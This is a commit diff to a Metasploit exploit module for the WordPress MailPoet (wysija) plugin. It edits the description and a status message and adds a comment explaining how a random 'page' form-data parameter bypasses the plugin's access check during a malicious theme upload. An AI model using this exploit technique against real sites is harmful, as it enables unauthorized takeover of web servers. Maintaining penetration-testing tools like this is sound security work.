@@ -27,7 +27,8 @@ def initialize(info = {})
27
27
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
28
28
uses $_REQUEST to check for access rights. By setting the POST parameter to
29
29
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
30
- the $_GET array to determine the page, so it is not affected by this.
30
+ the $_GET array to determine the page, so it is not affected by this. The developers
31
+ applied the fixes to all previous versions too.
31
32
} ,
32
33
'Author' =>
33
34
[
@@ -85,7 +86,7 @@ def check
85
86
# readme present, but no version number
86
87
return Msf ::Exploit ::CheckCode ::Detected if version . nil?
87
88
88
- print_status ( "#{ peer } - Found version #{ version } of the plugin" )
89
+ vprint_status ( "#{ peer } - Found version #{ version } of the plugin" )
89
90
90
91
if Gem ::Version . new ( version ) < Gem ::Version . new ( '2.6.8' )
91
92
return Msf ::Exploit ::CheckCode ::Appears
@@ -107,6 +108,7 @@ def exploit
107
108
data . add_part ( 'on' , nil , nil , 'form-data; name="overwriteexistingtheme"' )
108
109
data . add_part ( 'themeupload' , nil , nil , 'form-data; name="action"' )
109
110
data . add_part ( 'Upload' , nil , nil , 'form-data; name="submitter"' )
111
+ # this line bypasses the check implemented in version 2.6.7
110
112
data . add_part ( rand_text_alpha ( 10 ) , nil , nil , 'form-data; name="page"' )
111
113
post_data = data . to_s
112
114
0 commit comments